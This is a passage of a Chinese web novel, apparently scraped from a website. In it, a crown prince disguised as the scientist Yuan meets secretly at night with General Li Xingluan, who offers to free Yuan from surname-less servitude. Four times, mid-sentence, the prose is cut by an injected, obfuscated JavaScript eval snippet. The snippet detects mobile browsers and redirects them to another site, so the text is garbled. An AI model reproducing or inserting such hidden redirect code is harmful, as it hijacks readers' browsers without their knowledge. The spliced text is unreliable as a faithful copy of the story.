厉星鸾的剑风拂过他面颊的时候,他突然有种怀念的感觉。 星风七式是厉家代代相传的剑法,晏风很熟悉它的一招一式。 曾经他和厉星鸾关系亲密的时候,厉星鸾多次为晏风演练过这套剑法,细心讲述每个招式的起源和制胜关键。 碎影星,游麟星,空蝉星…… 星风剑法是厉家的荣耀,厉星鸾在战场之外,只会把它展现给值得的人看。 那个时候,皇太子在厉星鸾的心目中,是最值得欣赏这份荣耀的对象。 晏风认为,至少在那时,他的想法是真实的。 时光弹指一挥间,现在晏风只能通过情报了解厉星鸾在星域前线立下的战功,他可能没有机会再单独欣赏这套美丽的剑法了。 真遗憾。 …… 就这样,模拟战斗顺利结束。 试验结果一胜一负,正是渊先生所需要的数据。 厉星鸾的个人战胜利,护卫小组的集体战负败,这也意味着普通士兵确实无法拿起这柄剑,量产议题只能暂时搁置,这项研究成果终究被厉星鸾独自占有了。 渊先生让机械臂把所有的金属剑收回去,房间灯光重新亮起来。 众人还在为刚才的试验窃窃私语,他示意大家安静一点,礼貌地赞赏厉星鸾:“厉上将,果然好身手。” 厉星鸾淡然道:“是渊先生的设计水平高,这柄剑用起来很顺手,攻击范围广,操作难度低。它有足够的战斗价值,我会为您通知工厂做好数据实装的准备。” 操作难度低。 窃窃私语的护卫们,突然被集体狠狠打了一巴掌。 渊先生笑了笑:“厉上将谦虚了,如果剑术能力不够,是无法消弭冲击力并且精准击中目标的。” 剑术能力不够。 护卫们又被打了一巴掌。 厉星鸾:“这样的战斗效果,只有配合您的设计水平才能达到,所以功劳在您。” 渊先生:“武器没有优秀的士兵使用,只是废铁一块,功劳还是在您。” 厉星鸾:“功劳主要在您。” 渊先生:“是您太谦虚了。” 助理檀轩看着两人的商业互吹,又看看一旁垂头丧气的护卫小组。 这些士兵都想争取执剑的资格吗?但时机不成熟的前提下,贸然激进是徒劳无功的,只会成为渊先生试验数据的垫脚石。 前辈们的人际关系,好复杂。 军武司的水,果然很深。 就这样,一场本来十分枯燥的日常会议,由于试验内容临时改变,以及厉星鸾的亲自出手,意外增添了许多趣味,可能很快就会变成社交场合的谈论话题。 眼看时间不早,在聊过一些设计细节以后,渊先生就宣布散会了。 按照事先约定,战败的护卫小组可以提前下班。众人在护卫官长的带领下,带着微妙的又是疲倦又是松懈的神情,全体离开会议室。 厉星鸾没有急着走,他留在原地等护卫们差不多都走远了,特意对渊先生道歉:“很抱歉,今天耽误了您很多时间。” 渊先生打发助理先回研究室,自己还在整理刚才记录的试验资料,他笑了笑:“不碍事,能得到两场战斗的演练数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939502|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 据,对我来说是很珍贵的收获。” “……那,晚安了,厉上将。” 厉星鸾点了点头,但是没有要走的意思。 他一直站在门口,像是在等待什么。 晏风起先没有注意到异样。 突然,他条件反射地警觉起来。 厉星鸾站立的位置,有点不对劲。 晏风眼角瞥到他的身影,他所在的位置看似随意,却能恰好堵住晏风离开会议室的路,让他无法绕过这个家伙而顺利走出房间,是精心选择的站位。 他就这样,被厉星鸾不动声色地堵住了去路。 为什么? 是他多心了? 晏风有些狐疑。 他……好像不想让他离开? 时间已经很晚,周围一片寂静。 楼下实验室的同事们应该已经下班,被打发走的护卫小组也听不到动静,所有人都不在研究楼里。 空荡荡的会议室,甚至是整栋建筑物,只留下他们两人独处。 晏风谨慎地绷紧神经,他担心厉星鸾是从某些细节里,发现了渊先生这个马甲的异样。 他的演出应该很完美,但对手也是不容小觑的。 在这一瞬间,晏风设想了各种被识破真身的可能,同时思考出面对不同情况的应变方式。 他并不怀疑自己能否从厉星鸾手里全身而退,无论演技被拆穿到什么地步,他都有办法可以对付他。 但事情似乎没有这么简单。 厉星鸾只是一直沉默地等待着。 系统适时出声:“殿下,厉上将好像在等您说点什么,推测是您记忆模块里缺失的内容。” 晏风:“我也这么觉得。” 最麻烦的情形出现了。 晏风的马甲和他的调查目标之间有一些秘密,但他这个真身并不知情。 在对方沉默的情况下,需要由自己主动挑起合适的话题,准确洞察对方此刻的真心。 失忆的人,怎么能做到这种事。 蒙混过关是不可能的,晏风的直觉在告诉他,如果他无法在此刻说出厉星鸾想听的话,可能会发生某些预料之外的糟糕事情。 因为房间的气氛开始有点不对。 厉星鸾的耐心在消磨。 应该说什么呢…… 晏风的头脑快速思考。 除了正常的科研任务项目,两人身为开发者和测试者之间的合作默契,为帝国征战忠诚献身的高尚情怀…… 还有什么需要避开所有人私会密谈的事情,而且是由渊先生主动开口? 他们日常相处的细节里,一定能看出端倪。 晏风回忆着厉星鸾在研究所的种种特殊举动——花费私人时间反复巡视,对研究项目的过度关注,希望成为唯一的试验样本…… 身为高级将领完全无需纵容的,对一名科学家过分耐心的等待,却又偶尔展露出不符合他官方身份的微妙私人情绪。 所有和平时不同的地方,与他严苛冷傲相反的另一面。 晏风突然产生一种猜测。 十分荒唐,但在此刻的境地下,异常合乎情理的猜测。 容不得犹豫了。 他缓步走向厉星鸾。 渊先生叠起整理完成的数据资料,抱着文件夹若无其事地朝会议室门口走去,他似乎并不在意那边被人堵住——或者说,已经习惯了。 直到凌晨时分才能享受短暂的休憩,身居要职肩负日日的繁重工作,却依然时刻保持温和谦逊的风度,成为众多军官和学者心仪而遥不可及的对象。 这位心思纯洁高尚,宛如一张雪纸的科学家。 在房间寂静的灯光里,主动走向年轻的帝国上将。 他靠近厉星鸾耳边,轻声说:“阁下,我在老地方等您。” 厉星鸾微微颔首:“我很荣幸,……稍后见。” 说罢,他没有继续逗留,转身离开了。 5. 渊先生(4)私会 厉星鸾走得很快,背影一转眼就消失在走廊尽头。 得到想要的承诺,他就不会过多纠缠。 他恢复了一些耐心,等待双方邀约的成果稍后在合适的地方再次品味。 坚毅而执着。 正如在战场上能够操纵敌人意志的行事风格,一旦认定目标任务就绝不会放弃,冷静追逐着,凝视着,如同猛兽一般掌控战场的每个角落,让猎物无处可逃。 直到对方彻底成为他的囊中之物,才偶尔略施技巧地暂时松手。 给予对方看似须臾喘息的机会,却依然被扼住喉颈,在他天罗地网的陷阱中反复认清自己的境地,逐渐被浸染侵占身心的每一寸,最终彻底丧失战意。 凛冽如暴风云雨的掌控欲。 厉星鸾不为大多数人所知的另一面。 他很少在意战场之外的东西,此刻却将这样的情绪,施加在了一位看似平平无奇的科学家身上。 晏风心想,如果世上真的存在渊先生这个人,这该是他的幸或者不幸呢。 耐人寻味的是,在与渊先生的交流中,厉星鸾选择将邀约的主动权交给对方。 他们这段神秘的关系里,究竟是谁在掌控谁。 晏风望着厉星鸾离去的方向,沉默许久。 冷风从走廊里吹来,带着轻微刺骨的寒意,他似乎毫无知觉。 良久。 系统小心翼翼:“沉默,震耳欲聋。” 晏风低声自语:“无饵之钩,竟然真的会钓上。” 系统:“看殿下您和厉上将……哦不是,看渊先生和厉上将交流的语气,他们很熟练呢,绝对不是第一次这么做了。” 渊先生和厉星鸾,在相约私下见面。 隐瞒着所有人。 晏风的马甲和他假想的宿敌,竟然在明目张胆地偷偷约会。 虽然从他们之前交谈中的蛛丝马迹能看出端倪,真实事态还是变成了脱缰的野马一路狂奔。 晏风似乎有些困惑:“不可思议,为什么我会做出这种事……” 系统应答如流:“作为属下,我觉得很容易理解呢。殿下身居高位,总会有些内心期待但不方便做的事情。” “如果上将阁下并非您嫌疑列表中的敌人,以两位的年龄性格家世地位,他确实是无可挑剔的目标,与殿下相当合适。” 晏风:“什么东西合适?我不理解,只知道我没道理也不可能做出这种事。” “无论星鸾对我是不是存在二心,我都不可能穿着马甲去诱骗一个为帝国立下赫赫战功的将领,让他面临被送上断头台的风险。” “他也同样不可能这么愚蠢。” 系统:“啊这,帝国律法好像并没有严禁两名皇庭官员谈……那个,吧?” 晏风:“你看的是哪条律法?你要搞清楚,这是拥有军事实权的高级将领和掌握军机要务的科研学者之间的私会,万一传出去事情可大可小。” “只要被有心之人稍作文章就能随便安上泄密罪,间谍罪,谋反罪甚至叛国罪。” “特殊职位的军方人员,在重要工作中自觉保持交流距离,防止军机情报泄露或者疑似泄露是最基本的思想防线,我们两个不会这么糊涂。” “我们应该时刻警觉这其中的利害关系。” 近乎严厉的语气。 对时局的判断冷静,清晰且无情。 几乎不能想象,马甲之下外表那样年轻的本尊所拥有的眼界深度,在瞬息间掌握住看似八卦背后触及破律边缘的疑点,以及由此可能引发的危机。 晏风信手拈来的才能。 系统没有做声。 意识空间里,悄悄合上了《婚姻法》。 身为算法合成的数据流,系统与殿下的觉悟有着云泥之别。 是它低俗了。 但是…… 真的吗。 晏风丝毫没有注意这种怪异的沉默,系统调取错误信息被纠正导致短暂宕机是常有的事。 他的思绪完全沉浸在自己和厉星鸾的神秘关系中,甚至对眼前的处境有些焦躁。 可能在潜意识里,他并不想这么早就与嫌疑中的假想敌兵刃相向,他想再给对方一次机会。 深夜相约私会。 为什么他会纵容这种事发生。 要弄清楚其中的端倪,就必须尽快赴约。 他催促系统:“之后再更新你的律法数据库,我们得走了。” 系统:“道理我都懂,厉上将发出了邀请,您必须去,否则他会起疑心,但是我们该去哪里呢?” 晏风推门走出会议室:“我不确定,但心里有数,马上确认一下我的猜测吧。” “让我看一看,我和上将阁下在私会的‘老地方’,究竟做了些什么事。” *** 研究所夜间开放的区域不多,大部分出入口都锁上了警示止步的红灯。 寂静的研究楼里,渊先生捧着整理好的资料,穿过空中回廊朝着被一长列玻璃幕墙隔开的某处走去。 几名刚下班的研究员经过回廊,向他打招呼:“渊先生,您还要回办公室继续忙?” “有几份报告要完成,你们先走吧。” “好的,请您务必注意休息。” “我知道,谢谢,你们也不要太辛苦。” 渊先生和同事们告别,独自走向幕墙另一侧,那处耸立在黑暗中的庞然大物。 通过狭长的回廊,穿过一扇数米高的单侧透明自动门,他的脚步停留在一部特殊的通行闸机面前。 机器上没有输入密码的位置,在他靠近的时候自动扫描了全身静脉构造,匹配数据库的登记信息进行识别。 认证通过,通行的蜂鸣声响起。 渊先生走上前一步,踏上一座悬空的架桥。 视线骤然陷入昏暗。 他进入了另一个空间。 门在身后悄无声息地合拢,视网膜经过数秒钟的适应才缓和过来,稍作等待之后,他逐渐能够看清空间内的微弱光线。 脚下,是无尽的深渊。 犹如一尊沉默的巨兽之口,准备随时吞噬不请而来的入侵者,站在悬空的架桥上稍有不慎就会跌下去粉身碎骨。 这是一处与研究楼相邻的巨大空间。 经过巧妙的掩饰,从地面上的外观看起来是一栋普通的钢筋水泥楼房,地下却是纵深数百米,占地面积超过数十个体育场,被无数超纤维金属骨架所包围的封闭式场地。 在夜晚银色炽光灯的照射下,一眼望不到边际。 渊先生走这条路已经驾轻就熟,他轻缓的脚步声回荡在数百米高的空中架桥,回声被周围的消音壁悄然吞噬,不留一丝痕迹。 他来到的,是位于机构非公开区域的大型机甲演练试验场。 专供特殊复杂环境的模拟战争使用,内部能够抵御大规模辐射性的能量冲击,是一处密闭而坚固的铜墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939503|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁壁。 为了安全和机密性考虑,外部人员绝无可能觉察到这里面的任何动静。 试验场拥有使用权限的人不多,只有数名机构的资深科研者和军武司的高级将领,白天很少有人会来,夜晚更是静得可怕,巨大的空间只有几盏炽光灯孤零零地亮着。 就在这处空无人烟的场地里,走廊最偏僻的角落尽头,隐藏着一个谁都不会靠近的房间。 那就是,渊先生的私人办公室。 渊先生平时大多数时间在公共区域工作,只有当他需要独处的时候,才会回到自己的办公室。 他喜欢在安静专注的环境里解决最困难的问题,因此当他在办公室的时候谁都不会来打搅,甚至没有人敢接近门口的那条走廊。 渊先生在办公室做什么,没有人知道,也不会有人偷偷摸摸地窥视,大家都很尊重他的私人空间。 最重要的是,万一胡乱闹出动静影响他的思考,阻碍研究进程,这是谁也负担不起的责任。 想避开人多嘈杂的公共区域,这的确是一个绝佳的密谈地点。 晏风走到办公室门口,看到窗子里亮着灯。 他推门进去。 里面站着一个熟悉的身影。 果然,厉星鸾已经在等待着他。 他们相约的老地方,他猜对了。 系统:“殿下神机妙算。” 晏风不以为意:“我只是做出符合人设的推测,以渊先生的性格,哪怕在自己的地盘上也是很谨慎的,就像一只仓鼠在狭窄的笼子里活动才有安全感.” “所以,他只会邀约在最有私密性的地方。” “至于星鸾,他也一定不会勉强渊先生去陌生的环境见面,如果一不小心把人吓走,再要接近就没这么容易了。” 系统:“记住了,殿下有时候是一只谨慎的仓鼠。” 晏风:“不要什么都乱记。” 眼前的办公室整洁朴素,不算宽敞的空间只能容纳两三人站立,四周摆放着研究所统一配备的办公桌椅和文件柜。 角落靠墙的位置有一张单人床,床上尚未折叠的被褥稍显凌乱,暗示着房间的主人经常在这里留宿。 显然他在生活上不拘小节,甚至相当节俭,所有需要的物资都是为了方便随时投入工作。 一处再普通不过的房间。 只有桌上散落着许多演算的草稿纸,上面写满了晦涩难懂的公式和记号,让来访者知晓这里一定诞生过许多令人惊叹的伟大创造。 厉星鸾正披着军装外套,倚靠在桌边。 离开严肃的会议场合,他的姿态稍微放松了一些,神情自然,眼底令人畏惧的寒意消散了许多,露出平时难见的柔和一面。 这是晏风熟悉的厉星鸾。 收敛起在战场上的凌厉煞气,他也不过是个晏风年龄相仿的青年人,是可以一起纵情把酒言欢的朋友。 渊先生走进办公室,轻轻关上门:“让您久等了,厉上将。” 厉星鸾淡然道:“不要紧,上次分别的时候我答应过您,今晚我会为您留出足够的时间。” 渊先生微笑不语。 意识空间里,晏风有些狐疑:“我哪记得上次的事,总觉得这家伙在试探我。” 系统:“如果露馅了,您就扑进他的怀里。” 晏风:“?” 系统:“不想扑的话,您要不要赶紧说点什么呢,上将阁下好像一直在盯着您看。” 6. 渊先生(5)姓氏 理所当然的反应。 站在厉星鸾的角度,渊先生今晚的行为十分反常. 他在会议室里面对沉默的邀约没有立刻回应,这就跟他们两人以往私下交流的节奏大相径庭。 厉星鸾身为一名战功卓越的武将,除了战力超群,对于战术谋略和情报侦察也相当精通,观察力强得惊人,他保不准已经确定这个渊先生有问题。 晏风怀疑,如果不是身为可疑对象的自己身份特殊,厉星鸾大概在上一轮对话的时候就把他抓起来,拷问他是不是间谍替身,把真的渊先生给调包了。 在来时的路上,他预料到可能会遇上新一轮的麻烦,自己这个失忆的人需要挨过厉星鸾三番两次的聊天试探——虽然也可能是他多虑,对方并没有这么重的心机。 此刻,说什么都是欲盖弥彰。 所有的解释,听起来都会像掩饰。 晏风明白要想彻底脱身,必须采用不同寻常的方法。 办公室里,渊先生并不回应厉星鸾的话语。 他依旧淡然地微笑着,视线却投向办公桌:“……皇庭军团的新型护卫机甲构想图,一直未公开官方消息,上将阁下想必很感兴趣。” 皇庭军团,皇帝陛下的近身护卫军团。 他们能够随意动用研究所的科研资源,却并不属于军武司管辖,二者互相也从不通往来。 作为一支完全独立的战斗部队,皇庭军团在军武司面前多少有些神秘和傲慢的意味。 厉星鸾闻言,稍稍侧身避开桌上的设计草稿,礼貌地转移视线: “我没有偷看,我们二者的关系并不如外界谣传的那么糟糕。我与您见面的理由绝非刺探情报的借口,希望您对我更信任一些。“ “没有就好。”渊先生点头,语气和神情一如既往,看不出是否接受了厉星鸾的自我澄清。 他不紧不慢地走到文件柜面前,打开指纹密码锁,将一直怀抱在手中的资料放进柜子里: “抱歉,您明白的,以我的立场并不在意诸位的关系矛盾。我只是想尽量遵守研究所的规章制度,避免为我和所有人带来麻烦。” “我很理解您的处境,” 厉星鸾伸手帮他拿过资料,按照渊先生的指示摆放到柜子的最高一层,“向您提出邀约都是源于我的任性,让您为难了。” 晏风从他的语气中听出了真诚的歉意。 他很不希望自己被误解。 简单的几句对话中,两人的立场悄然发生了转变。 刚才进门时候隐约的怀疑气氛,在晏风巧妙的话题转换中已经消失一大半。 厉星鸾放下了对他的戒心。 或者说,他的注意力转向了更重要的事情,那就是反过来不要被渊先生怀疑自己私会的用意。 正义凛然的人,也会格外在意自身的凛然。 晏风无需竭力自证,当他被怀疑的时候,只要设法将自证的处境转移到厉星鸾身上,对方自然就会忙着开始为自己辩解。 他越重视这个人,就会越想尽快澄清误会。 这也算是厉星鸾的性格弱点。 意识空间里,系统偷偷放了个烟花。 又成功度过一个难关。 系统:“虽然与殿下很熟悉了,还是时常惊艳于您的睿智。” 晏风:“人设,我使用了人设而已。” 反自证这一招在别的马甲上未必好用,只有渊先生的性格沉稳耐心,拥有清晰的个人原则,因此他在任何场合都会顾全大局,遵循基本的职业操守,随时考虑着更高层面的问题,而不会一被怀疑就慌忙为自己辩解。 他不是那么浅薄的人。 至于他今晚为什么突然像失忆一样,前言不搭后语,可能是工作太忙没把私事放在心上,可能是他还在顾忌厉星鸾接近自己的用意。 甚至,说不定他已经厌烦了他们之间的私会关系。 其中的真实原因,就让上将阁下回家以后自己慢慢思考吧。 锅成功地甩了出去。 渊先生轻轻关上文件柜的门。 厉星鸾长得很高,帮渊先生接过资料的时候需要弯腰靠近他。 晏风从很近的距离看见他漆黑的发丝垂落在额前,灯光映照在厉星鸾的眼底,像是凝结着初冬的雪花。 厉星鸾有一双很美,很澄澈的眼睛。 如同他凛然磊落的心。 因为他的眼神总是很冷,没有人敢直视他,当然更不敢细细欣赏他的美貌。 晏风是欣赏过很多次了,他赞赏厉星鸾的表里如一,如果可以的话,他希望自己永远不会欺骗或者利用他。 但他突然很好奇,当他是渊先生的时候,他们的距离有过多近? 渊先生在厉星鸾的面前会很放松吗?他们会像故友一样喝酒谈天吗? 应该不会吧,自己演戏很谨慎,不会把本尊的特点带到马甲身上。 想到这里,晏风莫名松了一口气。 恍惚间,有声音在喊他。 系统:“殿下。” 系统:“殿下,您在发什么呆呢?厉上将在跟您说话。” 晏风回过神,听见厉星鸾的声音传到耳中:“……您说过自己能解决,所以我尽量不插手,厉家家族的背景很复杂,我不在的时候尽量别让他们缠上您。” “今晚的试验已经让他们见识过新型武器的反噬力量,护卫队确认自己无法成为适格者,可能会消停一段时间,但肯定不会死心。“ “遇到麻烦的话,您不用在意我的情况,请随时联络。” 简单的几句话,包含了许多信息。 晏风迅速调取了S-107项目的工作记录,所幸这部分的记忆资料还在。 自从项目公开以后,厉家的护卫队已经多次随同厉星鸾前来研究所巡视,甚至趁他离开本星系的时候故意“拜访”渊先生,设法打听他的研究进度。 渊先生不希望厉星鸾插手管这件事,避免他因为自己而跟家族产生矛盾。 所以,厉星鸾在今晚的战斗试验中让护卫队模拟牺牲了一下,让他们不敢再打S-107的主意,尽量低调地帮渊先生解围。 想持剑,就会死。 警告你们了。 巧妙的处理方式。 渊先生很感激厉星鸾:“让您费心了,战力资源一直是各方觊觎的对象,但我不希望科研机构卷入纷争,这种事闹得太大对我们都没好处。” “当然,我也不希望上将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939504|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阁下在这里留下不愉快的经历,学术领域应该是宁静圣洁的,能让您享受一段轻松的时光。” 厉星鸾淡淡一笑:“谢谢您的体谅,那些护卫队员不过是小人物而已,怎么对付都无所谓,倒是您自己一直处境艰难。” “我之前的建议,您考虑好了吗?” 晏风:……? 猝不及防的危机。 什么处境?什么建议? 问题太抽象,一点线索都不给。 晏风完全不知道从何答起。 厉星鸾却是以为渊先生有顾虑:“当然,我明白您敬重皇庭的法则,您侍奉皇族的忠诚心是毋庸置疑的。” “但没有姓氏的身份,意味着您一辈子只能做帝国的奴仆,我只是想帮您改变这种处境,这是我权力范围之内的能力。” 这家伙,在胡言乱语什么。 晏风不明白。 改变处境的意思是……厉星鸾想给渊先生冠姓吗? 姓什么,跟着他姓厉? 荒唐的猜测。 但这件事可不像通过一场战斗击败敌人这么简单,就算律警司都没有权力随意操作。晏风实在想不到厉星鸾有什么合法途径能给渊先生冠上姓氏,这涉及到帝国的根源法则。 很显然,这就是他们私会的理由。 必须试探他一下了。 冰冷的灯光下,渊先生望着厉星鸾,目光像是在看一个陌生人。 他微微摇头:“厉上将,您真的明白自己在说什么吗?” 厉星鸾的态度毫不犹豫:“我很明白,这场对话如果被第三个人听到,我们都可能会被送上军事法庭,这正是我们需要密谈的原因。” “但厉家的族人——至少我,从不在生死面前退缩,我只做自己认为正确的事情。“ “我认为您不该被皇族的传统所束缚。” “我赏识您的才能,因此更加同情您的处境,您应该在更广阔的天地里发挥自身更大的价值。” 皇族的传统。 渊先生无法拥有的姓氏。 他终生成为帝国奴仆的命运。 厉星鸾希望渊先生摆脱这一切,摆脱他生来就注定被掌控的人生。 这是他出于对这位天才科学家的爱护,希望赠予他的最珍贵礼物。 他的自由。 但他不知道的是,晏风刻意没有为所有的马甲取姓,正是他思虑之下的选择。 当今在律警司的算法加持下,帝国公民的个人资料已经毫无秘密可言,大多数人依照姓氏都有自己的家族归属,言行时刻受到国家和家族的双重监督。 如果有人在大街上扰乱治安,为了不给家族蒙羞,立刻会有亲属出面将他领走; 而如果有人为帝国做出重大贡献,成为社会名流,整个家族也与有荣焉。 换句话说,无论晏风捏出的马甲姓什么,闹出动静的时候,都会有相应的亲属来认领。 这可是很麻烦的事情。 马甲为非作歹,会被家族关注到。 像渊先生这样才华横溢的知名学者,更是会被所属的家族奉为至宝。 ——然后,他的“亲属”们会发现,血统的数据库里根本没有这个人。 7. 渊先生(6)玩火 晏风本人身为皇太子的算法权限极高,他可以修改帝国境内任一数据库的机密等级数据,把马甲随便安插在哪个家族里都不会被发现,但实在没有这个必要。 他不想在无谓的地方与人产生毫无意义的联系,也没兴趣用皇族权限去搞这种幼稚的弄虚作假。 马甲没有归属,反而比较方便。 所幸,机械的算法永远赶不上现实的复杂性,公民们的身份按照家族归档之后,必然会留下一些无处可去的人。 也就是没有姓氏的人。 这是一个现成可以利用的漏洞。 没有姓氏的人,或者是因为身份不明,或者是被亲人抛弃,也有一些主动选择流落在外的。 他们在正常情况下不允许被任何家族收留,一旦经由算法捕捉并上报到律警司,就会自动认定为皇庭的私有财产,施以基础的教育之后进入职业分配流程。 在被算法上报的那一刻,他们就沦为了失去自由的工具。 身为工具,这些成员的义务是侍奉帝国的掌权者,他们不能主动选择工作,不能与权势家族结盟,不能离开帝国,终生不得婚育组建家庭。 渊先生是一位举世罕见的学术天才,但是他被算法筛选到工科领域之后,就注定一辈子只能在研究所工作。 他必须依照命令为军武司的指定项目服务,不能决定喜欢的研究方向,不能离开研究所另立门户,无论他愿意与否,都必须为帝国奉献一生。 拥有人类的自由意志,却像机器那样,被强制勒令着度过他可能并不喜欢的漫长光阴。 无人扶持,无家可归。 对晏风来说,这样的安排既可以防止马甲身份露馅,也方便行动的时候没有后顾之忧,甚至将来有必要造反自己,与本尊维护的皇权对立,也不是不可能。 却没想到在厉星鸾眼里,他成了令人心酸的阶下奴仆。 他敲敲系统:“听了这么多枯燥的知识,你睡着了吗?” 系统:“在记呢。” 晏风:“总结一下。” 系统:“您没有姓氏很快乐,厉上将却认为您很痛苦,您没法向他解释。” 晏风:“总结的很好。” 系统:“那您需要解释吗?” 晏风:“你觉得我能解释清楚吗?” 系统:“我还是认为,您直接扑进他怀里,一切自然就解释清楚了,无论是马甲还是真身都可以。” 晏风:“你这是在搅局。” 系统:“殿下有心和我说笑,您看起来并不生气?厉上将正在挑战皇权,他怂恿渊先生摆脱传统的束缚,就等于是背叛了您。” 晏风:“我不生气,我为他高兴。星鸾是个信守诺言的人,他对我发誓永远保持正直的初心,坚持做他认为正确的事情,他现在就是这么做的,我赞赏他的勇气和智慧。” 系统:“您打算给他这个机会吗?” 晏风:“当然不会了,机会永远只会是我的。” 系统:“那您早说呢,还夸他这么大一堆。” 晏风:“我是为了他好,他这是在玩火。挑战皇权的姓氏规则确实有必要,但现在还不到时候。” 系统:“您打算怎么制裁玩火的属下?” 晏风:“先看看他玩火的具体手段再说,我还不知道他要怎样给人冠姓。” …… 渊先生默默地凝望窗外。 夜幕深沉,整个世界都在黑暗中沉睡。 厉星鸾已经说清楚自己的来意,在等待他的回答。渊先生知道他这样做是冒了多大的风险,这不是一个简单的请求,自己可能会临时变卦和他翻脸,也可能隔墙有耳被人偷听到这件事。 任何一点小差错,都足以给厉星鸾带来灭顶之灾,但他并不在乎,他认为这样的冒险和牺牲是值得的。 他立下战功,获得声名显赫的地位,并非为了财富和权势,只是想站在更高的位置上实现理想中的生存意义。 他不想仅仅作为一件武器为帝国战斗,他相信自己有能力也有义务做到更多的事,挽回更多不幸的悲剧结局。 渊先生保持着沉默。 良久,他苦笑一声:“厉上将,您是一个了不起的人物,我敬佩您。” 厉星鸾正色道:“我并非对皇太子殿下存有异心,也并不想做损害帝国利益的事情,您了解我。” 渊先生点头:“是的,我了解。您对帝国的忠诚是毋庸置疑的,但我和您的忠诚,表达方式可能不太一样。” 厉星鸾听出他话里的意思:“您不愿意改变目前的处境吗?” 渊先生重复了一遍:“我和您的忠诚,不一样。” 但他不想让厉星鸾尴尬,又道,“希望今晚的事情没有发生过,今后我们的关系还是和以前一样友好。” 天生坚持原则的性格,注定了他不可能站到厉星鸾那边,他只会感恩养育他的皇庭,哪怕对方这么做有自己的目的。 厉星鸾对这个结果早有准备。 正因为眼前的人不因私欲而轻易动摇,才更加令他敬重。 他很大度:“我明白了,不会让您为难。……但,另一件事请您务必答应。” 还是不甘心吗? 渊先生的语气有些不悦:“我已经说了,我们的忠诚不一样,希望您别再纠缠。” “您无需紧张,”厉星鸾却淡然地笑了,“我只是想邀请您出去散散步,现在这个时间,花园里应该没有人在。” 渊先生微微蹙眉。 他似乎对这个意料之外的提议感到困惑。 厉星鸾显得很体贴:“我跟您提过很多次,总把自己关在办公室里对身体不好。偶尔要出门走走,看一看我为您准备的新居所,您会喜欢的。” “您一直没有正面回答我,是不愿意还是误会了我的意思?我绝对没有强迫您答应的用意,您不用多心。” “听说研究所的科学家们都不喜欢到处走动,因此室外的停车位置上配备了电动轮椅。我可以推着您走,请您随意挑选喜欢的路线,呼吸一下花园里的新鲜空气。” “……” “渊先生,您愿意赏光陪我一会儿吗?” 晏风起先一直沉默地听着,听到后面越来越不对劲。 他几乎想忘掉马甲的人设限制,抬头好好看看正在对他真诚自白的厉星鸾到底是不是他熟悉的那个家伙。 有必要的话,揪一揪他的脸。 战功赫赫的帝国上将,出身名门且声望远播,时刻都是社交场合话题中的顶级权贵人物。 一个冷冽的眼神就能把敌人吓得闻风丧胆,敌国的小孩听到他的名字都吓得不敢哭。 却在此刻愿意拿出全部的诚意,在半夜偷偷摸摸瞒着所有人,屈尊给一位地位卑微的平民科学家推轮椅。 用他那双能够破碎星辰的手。 厉星鸾,给人推轮椅。 多么震惊,滑稽而且信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939505|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆炸的画面。 当然这家伙自己是无所谓,晏风很清楚厉星鸾为了得到有价值的事物愿意倾其所有。区区推个轮椅算什么,只要渊先生答应他,直接把人一路抱到花园里扶到轮椅上都很乐意。 但是万一这件事真的发生而且被人看到,后果不堪设想,并非会影响到厉星鸾的个人声望和形象,而是八卦能从千百个渠道传到皇宫里,在晏风耳边反反复复地谈论。 朝会,餐桌,舞池,寝宫。 到处都有声音像蟑螂似的悉悉索索:“厉星鸾给人推轮椅。” “……给人推轮椅……” “……轮椅……” “……推……” 声音一直一直的响。 直到晏风烦得听不下去,下令制裁几个爱嚼舌根的家伙杀鸡儆猴,大概才能消停。 但麻烦不会彻底结束,按照规矩,整件事的前因后果会被文政司的史官写成十万字档案资料,在后世永远流传下去,被无数子孙们考古。 千万年以后,民间都有人会讨论:“震惊!战神祖先竟然曾经亲手为某人推轮椅……” “深夜私会,不能言说的秘密!” 